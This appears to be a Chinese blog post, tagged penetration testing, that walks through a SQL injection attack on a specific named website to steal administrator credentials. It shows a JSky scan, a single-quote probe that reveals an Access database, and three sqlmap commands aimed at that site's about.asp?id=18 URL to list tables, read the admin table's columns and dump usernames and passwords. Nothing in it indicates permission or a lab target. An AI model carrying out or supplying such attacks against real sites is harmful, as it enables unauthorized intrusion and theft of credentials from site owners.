sql注入网站获取管理员密码第一天

1、通过JSky对该网站进行安全扫描,得出如下可注入点:

sql注入网站获取管理员密码第一天_第1张图片

2、选取第一个网址,在后方加入单引号,得出如下:

sql注入网站获取管理员密码第一天_第2张图片

可以判断:

网站使用的是access数据库,通过jet引擎连接数据库。

本想着手工注入来着,但是,无论手工输入什么语句,都能返回正确,大神说是因为后台给过滤了,然后就选择了使用sqlmap这个工具、操作起来也很简单的样子。

1、获得列名和表名

sqlmap.py -u "http://www.dlttfsb.com/about.asp?id=18" --tables

执行过程选择线程为8

sql注入网站获取管理员密码第一天_第3张图片

2、接下来输入sqlmap.py -u "http://www.dlttfsb.com/about.asp?id=18" --columns -T "admin"查看admin表所在的列名

sql注入网站获取管理员密码第一天_第4张图片

3、接下来输入python sqlmap.py -u "http://www.dlttfsb.com/about.asp?id=18" --dump -C "adminname,password" -T "admin"获取内容

sql注入网站获取管理员密码第一天_第5张图片

你可能感兴趣的:(渗透测试)